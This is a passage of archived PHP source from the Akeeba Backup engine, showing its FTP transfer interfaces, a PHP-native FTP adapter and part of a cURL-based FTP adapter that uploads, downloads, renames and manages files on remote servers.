		$encodingIndex = $isPHPFile ? 1 : 0;
		$dataIndex     = $isPHPFile ? 2 : 1;

		switch ($parts[$encodingIndex])
		{
			case 'base64';
				return base64_decode($parts[$dataIndex]);
				break;

			case 'uuencode':
				return convert_uudecode($parts[$dataIndex]);
				break;

			case 'plain':
				return $parts[$dataIndex];
				break;

			default:
				throw new RuntimeException(sprintf('Unsupported encoding method “%s”', $parts[$encodingIndex]));
				break;
		}
	}

	/**
	 * Get the recommended method for encoding the temporary data
	 *
	 * @return string
	 */
	protected function getEncodingMethod()
	{
		// Preferred encoding: base sixty four, handled by PHP
		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			return 'base64';
		}

		// Fallback: UUencoding
		if (function_exists('convert_uuencode') && function_exists('convert_uudecode'))
		{
			return 'uuencode';
		}

		// Final fallback (should NOT be necessary): plain text encoding
		return 'plain';
	}
}
com_akeeba/BackupEngine/Util/Transfer/RemoteResourceInterface.php000060400000003151152455305260021146 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

/**
 * An interface for Transfer adapters which support remote resources, allowing us to efficient read from / write to
 * remote locations as if they were local files.
 */
interface RemoteResourceInterface
{
	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path);

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder);
}
com_akeeba/BackupEngine/Util/Transfer/Ftp.php000060400000041746152455305260015127 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Exception;
use RuntimeException;

/**
 * FTP transfer object, using PHP as the transport backend
 */
class Ftp implements TransferInterface, RemoteResourceInterface
{
	/**
	 * FTP server's hostname or IP address
	 *
	 * @var  string
	 */
	protected $host = 'localhost';

	/**
	 * FTP server's port, default: 21
	 *
	 * @var  integer
	 */
	protected $port = 21;

	/**
	 * Username used to authenticate to the FTP server
	 *
	 * @var  string
	 */
	protected $username = '';

	/**
	 * Password used to authenticate to the FTP server
	 *
	 * @var  string
	 */
	protected $password = '';

	/**
	 * FTP initial directory
	 *
	 * @var  string
	 */
	protected $directory = '/';

	/**
	 * Should I use SSL to connect to the server (FTP over explicit SSL, a.k.a. FTPS)?
	 *
	 * @var  boolean
	 */
	protected $ssl = false;

	/**
	 * Should I use FTP passive mode?
	 *
	 * @var bool
	 */
	protected $passive = true;

	/**
	 * Timeout for connecting to the FTP server, default: 10
	 *
	 * @var  integer
	 */
	protected $timeout = 10;

	/**
	 * The FTP connection handle
	 *
	 * @var  resource|null
	 */
	private $connection = null;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['ssl']))
		{
			$this->ssl = $options['ssl'];
		}

		if (isset($options['passive']))
		{
			$this->passive = $options['passive'];
		}

		if (isset($options['timeout']))
		{
			$this->timeout = max(1, (int) $options['timeout']);
		}

		$this->connect();
	}

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = [])
	{
		try
		{
			$connector = new static([
				'host'      => 'test.rebex.net',
				'port'      => 21,
				'username'  => 'demo',
				'password'  => 'password',
				'directory' => '',
				'ssl'       => $params['ssl'] ?? false,
				'passive'   => true,
				'timeout'   => 5,
			]);

			$data = $connector->read('readme.txt');

			if (empty($data))
			{
				return true;
			}
		}
		catch (Exception $e)
		{
			return true;
		}

		return false;
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return ['host', 'port', 'username', 'password', 'directory', 'ssl', 'passive', 'timeout'];
	}

	/**
	 * Reconnect to the server on unserialize
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->connect();
	}

	/**
	 * Connect to the FTP server
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		// Try to connect to the server
		if ($this->ssl)
		{
			if (function_exists('ftp_ssl_connect'))
			{
				$this->connection = @ftp_ssl_connect($this->host, $this->port);
			}
			else
			{
				$this->connection = false;

				throw new RuntimeException('ftp_ssl_connect not available on this server', 500);
			}
		}
		else
		{
			$this->connection = @ftp_connect($this->host, $this->port, $this->timeout);
		}

		if ($this->connection === false)
		{
			throw new RuntimeException(sprintf('Cannot connect to FTP server [host:port] = %s:%s', $this->host, $this->port), 500);
		}

		// Attempt to authenticate
		if (!@ftp_login($this->connection, $this->username, $this->password))
		{
			@ftp_close($this->connection);
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot log in to FTP server [username:password] = %s:%s', $this->username, $this->password), 500);
		}

		// Attempt to change to the initial directory
		$defaultDir  = @ftp_pwd($this->connection) ?: '/';
		$directories = [
			$this->directory,
			rtrim($this->directory, '/'),
			trim($this->directory, '/'),
			$defaultDir,
		];

		foreach ($directories as $dir)
		{
			$changedDir = @ftp_chdir($this->connection, $dir);

			if ($changedDir)
			{
				$this->directory = $dir;

				break;
			}
		}

		if (!$changedDir)
		{
			@ftp_close($this->connection);
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot change to initial FTP directory "%s" – make sure the folder exists and that you have adequate permissions to it. Pro tip: the default directory of your FTP connection is reported to be %s', $this->directory, $defaultDir), 500);
		}

		// Apply the passive mode preference
		@ftp_pasv($this->connection, $this->passive);
	}

	/**
	 * Public destructor, closes any open FTP connections
	 */
	public function __destruct()
	{
		if (!is_null($this->connection))
		{
			@ftp_close($this->connection);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');
		fwrite($handle, $contents);
		rewind($handle);

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$handle = @fopen($localFilename, 'r');

		if ($handle === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Unreadable local file $localFilename");
			}

			return false;
		}

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($remoteFilename, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);
		$ret        = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		@fclose($handle);

		return $ret;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);
		$result         = $changedDir && @ftp_fget($this->connection, $handle, $remoteName, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		if ($result === false)
		{
			fclose($handle);
			throw new RuntimeException("Can not download remote file $fileName");
		}

		rewind($handle);

		$ret = '';

		while (!feof($handle))
		{
			$ret .= fread($handle, 131072);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($remoteFilename, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_get($this->connection, $localFilename, $remoteName, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		if (!$ret && $useExceptions)
		{
			throw new RuntimeException("Cannot download remote file $remoteFilename through FTP.");
		}

		return $ret;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);
		$ret        = $changedDir && @ftp_delete($this->connection, $remoteName);;

		if ($changedDir)
		{
			ftp_chdir($this->connection, $cwd);
		}

		return $ret;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($from, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_fget($this->connection, $handle, $remoteName, FTP_BINARY);

		if ($ret !== false)
		{
			rewind($handle);

			$remoteFilename = '/' . ltrim($to, '/');
			$remotePath     = dirname($remoteFilename);
			$remoteName     = basename($remoteFilename);

			if (!$this->isDir($remotePath))
			{
				$this->mkdir($remotePath);
			}

			$changedDir = @ftp_chdir($this->connection, $remotePath);
			$ret        = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);
		}

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		return @ftp_rename($this->connection, $from, $to);
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		if (@ftp_chmod($this->connection, $permissions, $fileName) !== false)
		{
			return true;
		}

		$permissionsOctal = decoct((int) $permissions);

		if (@ftp_site($this->connection, "CHMOD $permissionsOctal $fileName") !== false)
		{
			return true;
		}

		return false;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$ret = @ftp_mkdir($this->connection, $remoteDir);

			if ($ret === false)
			{
				return $ret;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$cur_dir = ftp_pwd($this->connection);

		if (@ftp_chdir($this->connection, $path))
		{
			// If it is a directory, then change the directory back to the original directory
			ftp_chdir($this->connection, $cur_dir);

			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return ftp_pwd($this->connection);
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);

		if (strpos($fileName, $this->directory) === 0)
		{
			return $fileName;
		}

		$fileName = trim($fileName, '/');
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an FTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our FTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (!@ftp_chdir($this->connection, $dir))
		{
			throw new RuntimeException(sprintf('Cannot change to FTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		$list = @ftp_rawlist($this->connection, '.');

		if ($list === false)
		{
			throw new RuntimeException("Sorry, your FTP server doesn't support our FTP directory browser.");
		}

		$folders = [];

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path)
	{
		$usernameEncoded = urlencode($this->username);
		$passwordEncoded = urlencode($this->password);
		$hostname        = $this->host . ($this->port ? ":{$this->port}" : '');
		$protocol        = $this->ssl ? "ftps" : "ftp";

		return "{$protocol}://{$usernameEncoded}:{$passwordEncoded}@{$hostname}{$path}";
	}

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder)
	{
		return ftp_rawlist($this->connection, $folder);
	}
}
com_akeeba/BackupEngine/Util/Transfer/TransferInterface.php000060400000012544152455305260017775 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An interface for Transfer adapters, used to transfer files to remote servers over FTP, FTPS, SFTP and possibly other
 * file transfer methods we might implement.
 *
 * @package   Akeeba\Engine\Util\Transfer
 */
interface TransferInterface
{
	/**
	 * Creates the uploader
	 *
	 * @param   array  $config
	 */
	public function __construct(array $config);

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = []);

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the remote file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents);

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true);

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName);

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true);

	/**
	 * Delete a remote file
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName);

	/**
	 * Create a copy of the remote file
	 *
	 * @param   string  $from  The full path of the remote file to copy from
	 * @param   string  $to    The full path of the remote file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to);

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full remote path of the file to move
	 * @param   string  $to    The full remote path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to);

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the remote file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions);

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the remote directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755);

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path);

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd();

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName);

	/**
	 * Lists the subdirectories inside a directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our folder scanner
	 */
	public function listFolders($dir = null);
}
com_akeeba/BackupEngine/Util/Transfer/FtpCurl.php000060400000046377152455305260015762 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use RuntimeException;

/**
 * FTP transfer object, using cURL as the transport backend
 */
class FtpCurl extends Ftp implements TransferInterface
{
	use ProxyAware;

	/**
	 * Timeout for transferring data to the FTP server, default: 10 minutes
	 *
	 * @var  integer
	 */
	protected $timeout = 600;

	/**
	 * Should I ignore the IP returned by the server during Passive mode transfers?
	 *
	 * @var   bool
	 *
	 * @see   http://www.elitehosts.com/blog/php-ftp-passive-ftp-server-behind-nat-nightmare/
	 */
	private $skipPassiveIP = true;

	/**
	 * Should we enable verbose output to STDOUT? Useful for debugging.
	 *
	 * @var   bool
	 */
	private $verbose = false;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		parent::__construct($options);

		if (isset($options['passive_fix']))
		{
			$this->skipPassiveIP = $options['passive_fix'] ? true : false;
		}

		if (isset($options['verbose']))
		{
			$this->verbose = $options['verbose'] ? true : false;
		}
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return [
			'host',
			'port',
			'username',
			'password',
			'directory',
			'ssl',
			'passive',
			'timeout',
			'skipPassiveIP',
			'verbose',
		];
	}

	/**
	 * Test the connection to the FTP server and whether the initial directory is correct. This is done by attempting to
	 * list the contents of the initial directory. The listing is not parsed (we don't really care!) and we do NOT check
	 * if we can upload files to that remote folder.
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		$ch = $this->getCurlHandle($this->directory . '/');
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException("cURL Error $errNo connecting to remote FTP server: $error", 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp_curl', 'r+');
		fwrite($handle, $contents);

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($fileName, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Unreadable local file $localFilename");
		}

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		try
		{
			return $this->downloadToString($fileName);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException("Can not download remote file $fileName", 500, $e);
		}
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException(sprintf('Download from FTP failed. Can not open local file %s for writing.', $localFilename));
			}

			return false;
		}

		// Note: don't manually close the file pointer, it's closed automatically by downloadToHandle
		try
		{
			$this->downloadToHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$commands = [
			'DELE ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		try
		{
			$this->downloadToHandle($from, $handle, false);
			$this->uploadFromHandle($to, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$from = $this->getPath($from);
		$to   = $this->getPath($to);

		$commands = [
			'RNFR /' . $from,
			'RNTO /' . $to,
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Make sure permissions are in an octal string representation
		if (!is_string($permissions))
		{
			$permissions = decoct($permissions);
		}

		$commands = [
			'SITE CHMOD ' . $permissions . ' /' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$commands = [
				'MKD ' . $remoteDir,
			];

			try
			{
				$this->executeServerCommands($commands);
			}
			catch (RuntimeException $e)
			{
				return false;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$ch = $this->getCurlHandle($path . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_exec($ch);

		$errNo = curl_errno($ch);
		curl_close($ch);

		if ($errNo)
		{
			return false;
		}

		return true;
